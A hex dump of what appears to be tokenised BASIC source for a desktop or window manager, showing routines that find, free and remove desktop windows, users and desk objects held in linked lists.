|00002290| 20 20 20 20 20 20 20 20 | 20 80 09 20 80 07 20 2a | | .. .. *|
|000022a0| 52 65 74 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |Ret. | |
|000022b0| 20 20 20 20 80 02 20 80 | 09 00 00 00 20 20 20 20 | .. .|.... |
|000022c0| 80 09 2e 6c 20 46 69 6e | 64 44 65 73 6b 4f 62 6a |...l Fin|dDeskObj|
|000022d0| 65 63 74 7b 2a 74 68 69 | 73 2e 44 65 73 6b 57 69 |ect{*thi|s.DeskWi|
|000022e0| 6e 64 6f 77 2c 6e 75 6d | 2e 6c 7d 00 20 20 20 20 |ndow,num|.l}. |
|000022f0| 20 20 20 20 20 20 20 20 | 20 20 20 2a 52 65 74 2e | | *Ret.|
|00002300| 44 65 73 6b 4f 62 6a 65 | 63 74 20 3d 20 bc 0f 00 |DeskObje|ct = ...|
|00002310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 | | .|
|00002320| 0b 20 52 65 6c 69 61 62 | 6c 65 5f 44 65 73 6b 57 |. Reliab|le_DeskW|
|00002330| 69 6e 64 6f 77 7b 2a 74 | 68 69 73 7d 00 20 20 20 |indow{*t|his}. |
|00002340| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 2a | | *|
|00002350| 74 68 61 74 2e 44 65 73 | 6b 4f 62 6a 65 63 74 20 |that.Des|kObject |
|00002360| 3d 20 2a 74 68 69 73 5c | 46 69 72 73 74 44 65 73 |= *this\|FirstDes|
|00002370| 6b 4f 62 6a 65 63 74 00 | 20 20 20 20 20 20 20 20 |kObject.| |
|00002380| 20 20 20 20 20 20 20 20 | 20 20 80 0b 20 52 65 6c | | .. Rel|
|00002390| 69 61 62 6c 65 5f 44 65 | 73 6b 4f 62 6a 65 63 74 |iable_De|skObject|
|000023a0| 7b 2a 74 68 61 74 7d 00 | 20 20 20 20 20 20 20 20 |{*that}.| |
|000023b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 74 65 6c | | tel|
|000023c0| 6c 65 72 2e 6c 20 3d 2d | 31 00 20 20 20 20 20 20 |ler.l =-|1. |
|000023d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 | | .|
|000023e0| 0c 20 52 65 6c 69 61 62 | 6c 65 5f 44 65 73 6b 4f |. Reliab|le_DeskO|
|000023f0| 62 6a 65 63 74 7b 2a 74 | 68 61 74 7d 00 20 20 20 |bject{*t|hat}. |
|00002400| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002410| 20 20 20 20 20 20 20 20 | 74 65 6c 6c 65 72 2b 31 | |teller+1|
|00002420| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002430| 20 20 20 20 20 20 20 20 | 20 20 20 20 80 0b 20 74 | | .. t|
|00002440| 65 6c 6c 65 72 3d 6e 75 | 6d 00 20 20 20 20 20 20 |eller=nu|m. |
|00002450| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002460| 20 20 20 20 20 20 20 20 | 2a 52 65 74 20 3d 20 2a | |*Ret = *|
|00002470| 74 68 61 74 00 20 20 20 | 20 20 20 20 20 20 20 20 |that. | |
|00002480| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002490| 20 20 20 2a 74 68 61 74 | 3d bc 0f 00 20 20 20 20 | *that|=... |
|000024a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000024b0| 20 20 20 20 20 20 20 80 | c0 00 20 20 20 20 20 20 | .|.. |
|000024c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 | | .|
|000024d0| 0b 20 2a 74 68 61 74 20 | 80 21 20 2a 74 68 61 74 |. *that |.! *that|
|000024e0| 3d 2a 74 68 61 74 5c 4e | 65 78 74 44 65 73 6b 4f |=*that\N|extDeskO|
|000024f0| 62 6a 65 63 74 00 20 20 | 20 20 20 20 20 20 20 20 |bject. | |
|00002500| 20 20 20 20 20 20 20 20 | 20 20 20 80 c1 00 20 20 | | ... |
|00002510| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002520| 80 c0 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |... | |
|00002530| 20 20 80 c0 00 20 20 20 | 20 20 20 20 20 20 20 20 | ... | |
|00002540| 20 20 20 20 80 09 20 80 | 07 20 2a 52 65 74 00 20 | .. .|. *Ret. |
|00002550| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 02 | | ..|
|00002560| 20 80 09 00 00 00 00 20 | 20 20 20 80 09 2e 6c 20 | ...... | ...l |
|00002570| 46 69 6e 64 44 65 73 6b | 57 69 6e 64 6f 77 7b 6e |FindDesk|Window{n|
|00002580| 75 6d 2e 6c 7d 00 20 20 | 20 20 20 20 20 20 20 20 |um.l}. | |
|00002590| 20 20 20 20 20 80 15 20 | 2a 43 6f 72 65 2e 44 65 | .. |*Core.De|
|000025a0| 73 6b 74 6f 70 00 20 20 | 20 20 20 20 20 20 20 20 |sktop. | |
|000025b0| 20 20 20 20 20 2a 52 65 | 74 2e 44 65 73 6b 57 69 | *Re|t.DeskWi|
|000025c0| 6e 64 6f 77 3d bc 0f 00 | 20 20 20 20 20 20 20 20 |ndow=...| |
|000025d0| 20 20 20 20 20 20 20 80 | 0b 20 52 65 6c 69 61 62 | .|. Reliab|
|000025e0| 6c 65 5f 44 65 73 6b 57 | 69 6e 64 6f 77 7b 2a 43 |le_DeskW|indow{*C|
|000025f0| 6f 72 65 5c 46 69 72 73 | 74 44 65 73 6b 57 69 6e |ore\Firs|tDeskWin|
|00002600| 64 6f 77 7d 00 20 20 20 | 20 20 20 20 20 20 20 20 |dow}. | |
|00002610| 20 20 20 20 20 20 20 2a | 6d 65 2e 44 65 73 6b 57 | *|me.DeskW|
|00002620| 69 6e 64 6f 77 20 3d 20 | 2a 43 6f 72 65 5c 46 69 |indow = |*Core\Fi|
|00002630| 72 73 74 44 65 73 6b 57 | 69 6e 64 6f 77 00 20 20 |rstDeskW|indow. |
|00002640| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002650| 74 65 6c 6c 65 72 2e 6c | 3d 2d 31 00 20 20 20 20 |teller.l|=-1. |
|00002660| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 0c | | ..|
|00002670| 20 52 65 6c 69 61 62 6c | 65 5f 44 65 73 6b 57 69 | Reliabl|e_DeskWi|
|00002680| 6e 64 6f 77 7b 2a 6d 65 | 7d 00 20 20 20 20 20 20 |ndow{*me|}. |
|00002690| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000026a0| 20 20 74 65 6c 6c 65 72 | 2b 31 00 20 20 20 20 20 | teller|+1. |
|000026b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000026c0| 20 20 20 80 0b 20 74 65 | 6c 6c 65 72 3d 6e 75 6d | .. te|ller=num|
|000026d0| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000026e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 2a 52 65 74 | | *Ret|
|000026f0| 20 3d 20 2a 6d 65 00 20 | 20 20 20 20 20 20 20 20 | = *me. | |
|00002700| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002710| 20 20 2a 6d 65 20 20 3d | 20 bc 0f 00 20 20 20 20 | *me =| ... |
|00002720| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002730| 20 20 20 20 80 c0 00 20 | 20 20 20 20 20 20 20 20 | ... | |
|00002740| 20 20 20 20 20 20 20 20 | 20 80 0b 20 2a 6d 65 20 | | .. *me |
|00002750| 80 21 20 2a 6d 65 3d 2a | 6d 65 5c 4e 65 78 74 44 |.! *me=*|me\NextD|
|00002760| 65 73 6b 57 69 6e 64 6f | 77 00 20 20 20 20 20 20 |eskWindo|w. |
|00002770| 20 20 20 20 20 20 20 20 | 20 20 20 20 80 c1 00 20 | | ... |
|00002780| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 c0 | | ..|
|00002790| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000027a0| 80 09 20 80 07 20 2a 52 | 65 74 00 20 20 20 20 20 |.. .. *R|et. |
|000027b0| 20 20 20 20 20 20 20 20 | 20 20 80 02 20 80 09 00 | | .. ...|
|000027c0| 00 00 20 20 20 20 80 09 | 2e 6c 20 20 46 69 6e 64 |.. ..|.l Find|
|000027d0| 55 73 65 72 7b 6e 75 6d | 62 65 72 2e 6c 7d 00 20 |User{num|ber.l}. |
|000027e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 | | .|
|000027f0| 15 20 2a 43 6f 72 65 2e | 44 65 73 6b 74 6f 70 00 |. *Core.|Desktop.|
|00002800| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002810| 2a 52 65 74 2e 55 73 65 | 72 20 3d 20 bc 0f 00 20 |*Ret.Use|r = ... |
|00002820| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 | | .|
|00002830| 0b 20 52 65 6c 69 61 62 | 6c 65 5f 55 73 65 72 7b |. Reliab|le_User{|
|00002840| 2a 43 6f 72 65 5c 46 69 | 72 73 74 55 73 65 72 7d |*Core\Fi|rstUser}|
|00002850| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002860| 20 20 20 20 2a 74 65 6d | 70 2e 55 73 65 72 20 3d | *tem|p.User =|
|00002870| 20 2a 43 6f 72 65 5c 46 | 69 72 73 74 55 73 65 72 | *Core\F|irstUser|
|00002880| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002890| 20 20 20 20 74 65 6c 6c | 65 72 2e 6c 3d 2d 31 00 | tell|er.l=-1.|
|000028a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000028b0| 20 20 20 80 0c 20 52 65 | 6c 69 61 62 6c 65 5f 55 | .. Re|liable_U|
|000028c0| 73 65 72 7b 2a 74 65 6d | 70 7d 00 20 20 20 20 20 |ser{*tem|p}. |
|000028d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000028e0| 20 20 20 20 74 65 6c 6c | 65 72 2b 31 00 20 20 20 | tell|er+1. |
|000028f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002900| 20 20 20 20 20 20 80 0b | 20 74 65 6c 6c 65 72 3d | ..| teller=|
|00002910| 6e 75 6d 62 65 72 00 20 | 20 20 20 20 20 20 20 20 |number. | |
|00002920| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002930| 20 20 20 2a 52 65 74 20 | 3d 20 2a 74 65 6d 70 00 | *Ret |= *temp.|
|00002940| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002950| 20 20 20 20 20 20 20 20 | 20 20 20 20 2a 74 65 6d | | *tem|
|00002960| 70 3d bc 0f 00 20 20 20 | 20 20 20 20 20 20 20 20 |p=... | |
|00002970| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 c0 | | ..|
|00002980| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002990| 20 20 20 20 80 0b 20 2a | 74 65 6d 70 20 80 21 20 | .. *|temp .! |
|000029a0| 2a 74 65 6d 70 3d 2a 74 | 65 6d 70 5c 4e 65 78 74 |*temp=*t|emp\Next|
|000029b0| 55 73 65 72 00 20 20 20 | 20 20 20 20 20 20 20 20 |User. | |
|000029c0| 20 20 20 20 20 20 20 20 | 80 c1 00 20 20 20 20 20 | |... |
|000029d0| 20 20 20 20 20 20 20 20 | 20 20 20 80 c0 00 20 20 | | ... |
|000029e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 09 | | ..|
|000029f0| 20 80 07 20 2a 52 65 74 | 00 20 20 20 20 20 20 20 | .. *Ret|. |
|00002a00| 20 20 20 20 20 20 20 20 | 20 80 02 20 80 09 00 00 | | .. ....|
|00002a10| 20 20 20 20 80 09 2e 6c | 20 20 4c 61 73 74 44 65 | ...l| LastDe|
|00002a20| 73 6b 57 69 6e 64 6f 77 | 7b 7d 00 20 20 20 20 20 |skWindow|{}. |
|00002a30| 20 20 20 20 20 20 20 20 | 20 20 20 80 15 20 2a 43 | | .. *C|
|00002a40| 6f 72 65 2e 44 65 73 6b | 74 6f 70 00 20 20 20 20 |ore.Desk|top. |
|00002a50| 20 20 20 20 20 20 20 20 | 20 20 20 20 2a 52 65 74 | | *Ret|
|00002a60| 2e 44 65 73 6b 57 69 6e | 64 6f 77 20 3d 20 bc 0f |.DeskWin|dow = ..|
|00002a70| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002a80| 20 80 0b 20 52 65 6c 69 | 61 62 6c 65 5f 44 65 73 | .. Reli|able_Des|
|00002a90| 6b 57 69 6e 64 6f 77 7b | 2a 43 6f 72 65 5c 46 69 |kWindow{|*Core\Fi|
|00002aa0| 72 73 74 44 65 73 6b 57 | 69 6e 64 6f 77 7d 00 20 |rstDeskW|indow}. |
|00002ab0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002ac0| 20 20 2a 6d 65 2e 44 65 | 73 6b 57 69 6e 64 6f 77 | *me.De|skWindow|
|00002ad0| 20 3d 20 2a 43 6f 72 65 | 5c 46 69 72 73 74 44 65 | = *Core|\FirstDe|
|00002ae0| 73 6b 57 69 6e 64 6f 77 | 00 20 20 20 20 20 20 20 |skWindow|. |
|00002af0| 20 20 20 20 20 20 20 20 | 20 20 20 20 80 0c 20 52 | | .. R|
|00002b00| 65 6c 69 61 62 6c 65 5f | 44 65 73 6b 57 69 6e 64 |eliable_|DeskWind|
|00002b10| 6f 77 7b 2a 6d 65 5c 4e | 65 78 74 44 65 73 6b 57 |ow{*me\N|extDeskW|
|00002b20| 69 6e 64 6f 77 7d 00 20 | 20 20 20 20 20 20 20 20 |indow}. | |
|00002b30| 20 20 20 20 20 20 20 20 | 20 20 2a 6d 65 3d 2a 6d | | *me=*m|
|00002b40| 65 5c 4e 65 78 74 44 65 | 73 6b 57 69 6e 64 6f 77 |e\NextDe|skWindow|
|00002b50| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00002b60| 20 20 20 20 80 c1 00 20 | 20 20 20 20 20 20 20 20 | ... | |
|00002b70| 20 20 20 20 20 20 20 20 | 20 20 2a 52 65 74 20 3d | | *Ret =|
|00002b80| 20 2a 6d 65 00 20 20 20 | 20 20 20 20 20 20 20 20 | *me. | |
|00002b90| 20 20 20 20 20 80 c0 00 | 20 20 20 20 20 20 20 20 | ...| |
|00002ba0| 20 20 20 20 20 20 20 20 | 80 09 20 80 07 20 2a 52 | |.. .. *R|
|00002bb0| 65 74 00 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |et. | |
|00002bc0| 20 20 20 80 02 20 80 09 | 00 00 20 20 20 20 3b 3d | .. ..|.. ;=|
|00002bd0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002be0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002bf0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002c00| 3d 3d 00 20 20 20 20 3b | 3e 52 6f 6f 74 20 52 65 |==. ;|>Root Re|
|00002c10| 6c 65 61 73 65 00 20 20 | 20 20 3b 3d 3d 3d 3d 3d |lease. | ;=====|
|00002c20| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002c30| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00002c40| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 00 00 |========|======..|
|00002c50| 20 20 20 20 80 08 20 46 | 72 65 65 44 65 73 6b 4f | .. F|reeDeskO|
|00002c60| 62 6a 65 63 74 7b 2a 74 | 68 69 73 2e 44 65 73 6b |bject{*t|his.Desk|
|00002c70| 4f 62 6a 65 63 74 7d 00 | 20 20 20 20 20 20 20 20 |Object}.| |
|00002c80| 20 20 20 20 20 20 80 0b | 20 52 65 6c 69 61 62 6c | ..| Reliabl|
|00002c90| 65 5f 44 65 73 6b 4f 62 | 6a 65 63 74 7b 2a 74 68 |e_DeskOb|ject{*th|
|00002ca0| 69 73 7d 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |is}. | |
|00002cb0| 20 20 20 20 20 a5 99 20 | 2a 74 68 69 73 2c 80 2f | .. |*this,./|
|00002cc0| 2e 44 65 73 6b 4f 62 6a | 65 63 74 2c 30 00 20 20 |.DeskObj|ect,0. |
|00002cd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 a6 | | .|
|00002ce0| 09 20 2a 74 68 69 73 2c | 80 2f 2e 44 65 73 6b 4f |. *this,|./.DeskO|
|00002cf0| 62 6a 65 63 74 00 20 20 | 20 20 20 20 20 20 20 20 |bject. | |
|00002d00| 20 20 20 20 80 c0 00 20 | 20 20 20 20 20 20 20 20 | ... | |
|00002d10| 20 20 20 20 20 80 02 20 | 80 08 00 00 20 20 20 20 | .. |.... |
|00002d20| 80 08 20 46 72 65 65 49 | 63 6f 6e 7b 2a 74 68 69 |.. FreeI|con{*thi|
|00002d30| 73 2e 49 63 6f 6e 7d 00 | 20 20 20 20 20 20 20 20 |s.Icon}.| |
|00002d40| 20 20 20 20 20 20 80 0b | 20 52 65 6c 69 61 62 6c | ..| Reliabl|
|00002d50| 65 5f 49 63 6f 6e 7b 2a | 74 68 69 73 7d 00 20 20 |e_Icon{*|this}. |
|00002d60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 a5 | | .|
|00002d70| 99 20 2a 74 68 69 73 2c | 80 2f 2e 49 63 6f 6e 2c |. *this,|./.Icon,|
|00002d80| 30 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |0. | |
|00002d90| 20 20 20 a6 09 20 2a 74 | 68 69 73 2c 80 2f 2e 49 | .. *t|his,./.I|
|00002da0| 63 6f 6e 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |con. | |
|00002db0| 20 20 80 c0 00 20 20 20 | 20 20 20 20 20 20 20 20 | ... | |
|00002dc0| 20 20 20 80 02 20 80 08 | 00 00 20 20 20 20 80 08 | .. ..|.. ..|
|00002dd0| 20 46 72 65 65 44 65 73 | 6b 57 69 6e 64 6f 77 7b | FreeDes|kWindow{|
|00002de0| 2a 74 68 69 73 2e 44 65 | 73 6b 57 69 6e 64 6f 77 |*this.De|skWindow|
|00002df0| 7d 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |}. | |
|00002e00| 80 0b 20 52 65 6c 69 61 | 62 6c 65 5f 44 65 73 6b |.. Relia|ble_Desk|
|00002e10| 57 69 6e 64 6f 77 7b 2a | 74 68 69 73 7d 00 00 20 |Window{*|this}.. |
|00002e20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002e30| 3b 3d 3e 20 46 72 65 65 | 20 61 6e 79 20 66 69 6c |;=> Free| any fil|
|00002e40| 65 73 2e 2e 00 20 20 20 | 20 20 20 20 20 20 20 20 |es... | |
|00002e50| 20 20 20 20 20 20 3b 00 | 20 20 20 20 20 20 20 20 | ;.| |
|00002e60| 20 20 20 20 20 20 20 20 | 20 80 0b 20 52 65 6c 69 | | .. Reli|
|00002e70| 61 62 6c 65 5f 46 6f 6c | 64 65 72 7b 2a 74 68 69 |able_Fol|der{*thi|
|00002e80| 73 5c 46 69 6c 65 4c 69 | 73 74 7d 00 20 20 20 20 |s\FileLi|st}. |
|00002e90| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002ea0| 80 0b 20 46 72 65 65 46 | 6f 6c 64 65 72 7b 2a 74 |.. FreeF|older{*t|
|00002eb0| 68 69 73 5c 46 69 6c 65 | 4c 69 73 74 7d 20 80 21 |his\File|List} .!|
|00002ec0| 20 80 88 00 20 20 20 20 | 20 20 20 20 20 20 20 20 | ... | |
|00002ed0| 20 20 20 20 20 80 c0 00 | 00 20 20 20 20 20 20 20 | ...|. |
|00002ee0| 20 20 20 20 20 20 20 20 | 20 20 3b 3d 3e 20 46 72 | | ;=> Fr|
|00002ef0| 65 65 20 61 6e 64 20 64 | 65 73 6b 6f 62 6a 65 63 |ee and d|eskobjec|
|00002f00| 74 73 2e 2e 00 20 20 20 | 20 20 20 20 20 20 20 20 |ts... | |
|00002f10| 20 20 20 20 20 20 3b 00 | 20 20 20 20 20 20 20 20 | ;.| |
|00002f20| 20 20 20 20 20 20 20 20 | 20 80 0b 20 52 65 6c 69 | | .. Reli|
|00002f30| 61 62 6c 65 5f 44 65 73 | 6b 4f 62 6a 65 63 74 7b |able_Des|kObject{|
|00002f40| 2a 74 68 69 73 5c 46 69 | 72 73 74 44 65 73 6b 4f |*this\Fi|rstDeskO|
|00002f50| 62 6a 65 63 74 7d 00 20 | 20 20 20 20 20 20 20 20 |bject}. | |
|00002f60| 20 20 20 20 20 20 20 20 | 20 20 20 2a 74 65 6d 70 | | *temp|
|00002f70| 2e 44 65 73 6b 4f 62 6a | 65 63 74 20 3d 20 2a 74 |.DeskObj|ect = *t|
|00002f80| 68 69 73 5c 46 69 72 73 | 74 44 65 73 6b 4f 62 6a |his\Firs|tDeskObj|
|00002f90| 65 63 74 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |ect. | |
|00002fa0| 20 20 20 20 20 20 20 20 | 80 0c 20 52 65 6c 69 61 | |.. Relia|
|00002fb0| 62 6c 65 5f 44 65 73 6b | 4f 62 6a 65 63 74 7b 2a |ble_Desk|Object{*|
|00002fc0| 74 65 6d 70 7d 00 20 20 | 20 20 20 20 20 20 20 20 |temp}. | |
|00002fd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002fe0| 2a 6e 78 2e 44 65 73 6b | 4f 62 6a 65 63 74 20 3d |*nx.Desk|Object =|
|00002ff0| 20 2a 74 65 6d 70 5c 4e | 65 78 74 44 65 73 6b 4f | *temp\N|extDeskO|
|00003000| 62 6a 65 63 74 00 20 20 | 20 20 20 20 20 20 20 20 |bject. | |
|00003010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003020| 46 72 65 65 44 65 73 6b | 4f 62 6a 65 63 74 7b 2a |FreeDesk|Object{*|
|00003030| 74 68 69 73 7d 00 20 20 | 20 20 20 20 20 20 20 20 |this}. | |
|00003040| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003050| 2a 74 65 6d 70 3d 2a 6e | 78 00 20 20 20 20 20 20 |*temp=*n|x. |
|00003060| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 80 c1 | | ..|
|00003070| 00 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00003080| 20 20 80 c0 00 00 20 20 | 20 20 20 20 20 20 20 20 | .... | |
|00003090| 20 20 20 20 20 20 20 3b | 3d 3e 20 46 69 6e 61 6c | ;|=> Final|
|000030a0| 79 20 66 72 65 65 20 74 | 68 65 20 64 61 74 61 73 |y free t|he datas|
|000030b0| 74 72 75 63 74 2e 00 20 | 20 20 20 20 20 20 20 20 |truct.. | |
|000030c0| 20 20 20 20 20 20 20 20 | 3b 00 20 20 20 20 20 20 | |;. |
|000030d0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 49 66 20 52 | | ;If R|
|000030e0| 65 6c 69 61 62 6c 65 5f | 44 65 73 6b 57 69 6e 64 |eliable_|DeskWind|
|000030f0| 6f 77 7b 2a 74 68 69 73 | 7d 00 20 20 20 20 20 20 |ow{*this|}. |
|00003100| 20 20 20 20 20 20 20 20 | 20 20 20 a6 09 20 2a 74 | | .. *t|
|00003110| 68 69 73 2c 80 2f 2e 44 | 65 73 6b 57 69 6e 64 6f |his,./.D|eskWindo|
|00003120| 77 00 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |w. | |
|00003130| 20 20 20 3b 45 6e 64 49 | 66 00 20 20 20 20 20 20 | ;EndI|f. |
|00003140| 20 20 20 20 20 20 20 20 | 80 c0 00 20 20 20 20 20 | |... |
|00003150| 20 20 20 20 20 20 20 20 | 20 80 02 20 80 08 00 00 | | .. ....|
|00003160| 20 20 20 20 3b 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d | ;===|========|
|00003170| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00003180| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|00003190| 3d 3d 3d 3d 3d 3d 3d 3d | 00 20 20 20 20 3b 3e 52 |========|. ;>R|
|000031a0| 6f 6f 74 20 68 61 6e 64 | 6c 69 6e 67 20 26 20 72 |oot hand|ling & r|
|000031b0| 65 6d 6f 76 69 6e 67 2e | 00 20 20 20 20 3b 3d 3d |emoving.|. ;==|
|000031c0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000031d0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000031e0| 3d 3d 3d 3d 3d 3d 3d 3d | 3d 3d 3d 3d 3d 3d 3d 3d |========|========|
|000031f0| 3d 00 00 20 20 20 20 80 | 08 20 20 52 65 6d 6f 76 |=.. .|. Remov|
|00003200| 65 44 65 73 6b 57 69 6e | 64 6f 77 7b 2a 74 68 69 |eDeskWin|dow{*thi|
|00003210| 73 2e 44 65 73 6b 57 69 | 6e 64 6f 77 7d 00 20 20 |s.DeskWi|ndow}. |
|00003220| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 80 15 20 | | .. |
|00003230| 2a 43 6f 72 65 2e 44 65 | 73 6b 74 6f 70 00 20 20 |*Core.De|sktop. |
|00003240| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 80 0b 20 | | .. |
|00003250| 52 65 6c 69 61 62 6c 65 | 5f 44 65 73 6b 57 69 6e |Reliable|_DeskWin|
|00003260| 64 6f 77 7b 2a 74 68 69 | 73 7d 00 20 20 20 20 20 |dow{*thi|s}. |
|00003270| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 74 65 6c | | tel|
|00003280| 6c 65 72 2e 6c 20 3d 20 | 2d 31 00 20 20 20 20 20 |ler.l = |-1. |
|00003290| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 2a 6d 65 | | *me|
|000032a0| 2e 44 65 73 6b 57 69 6e | 64 6f 77 20 3d 20 2a 43 |.DeskWin|dow = *C|
|000032b0| 6f 72 65 5c 46 69 72 73 | 74 44 65 73 6b 57 69 6e |ore\Firs|tDeskWin|
|000032c0| 64 6f 77 00 20 20 20 20 | 20 20 20 20 20 20 20 20 |dow. | |
|000032d0| 20 20 20 20 20 20 70 6f | 73 2e 6c 3d 2d 31 00 20 | po|s.l=-1. |
|000032e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000032f0| 20 80 0c 20 2a 6d 65 00 | 20 20 20 20 20 20 20 20 | .. *me.| |
|00003300| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003310| 74 65 6c 6c 65 72 2b 31 | 00 20 20 20 20 20 20 20 |teller+1|. |
|00003320| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003330| 20 80 0b 20 2a 6d 65 3d | 2a 74 68 69 73 00 20 20 | .. *me=|*this. |
|00003340| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003350| 20 20 20 20 20 20 20 20 | 20 70 6f 73 2e 6c 20 3d | | pos.l =|
|00003360| 20 74 65 6c 6c 65 72 00 | 20 20 20 20 20 20 20 20 | teller.| |
|00003370| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003380| 20 20 20 2a 6d 65 3d bc | 0f 00 20 20 20 20 20 20 | *me=.|.. |
|00003390| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000033a0| 20 20 80 c0 00 20 20 20 | 20 20 20 20 20 20 20 20 | ... | |
|000033b0| 20 20 20 20 20 20 20 80 | 0b 20 2a 6d 65 20 80 21 | .|. *me .!|
|000033c0| 20 2a 6d 65 3d 2a 6d 65 | 5c 4e 65 78 74 44 65 73 | *me=*me|\NextDes|
|000033d0| 6b 57 69 6e 64 6f 77 00 | 20 20 20 20 20 20 20 20 |kWindow.| |
|000033e0| 20 20 20 20 20 20 20 20 | 20 20 80 c1 00 00 20 20 | | .... |
|000033f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003400| 80 0b 20 70 6f 73 3e 2d | 31 00 20 20 20 20 20 20 |.. pos>-|1. |
|00003410| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 80 | | .|
|00003420| 0b 20 70 6f 73 3e 30 00 | 20 20 20 20 20 20 20 20 |. pos>0.| |
|00003430| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003440| 2a 70 61 73 74 2e 44 65 | 73 6b 57 69 6e 64 6f 77 |*past.De|skWindow|
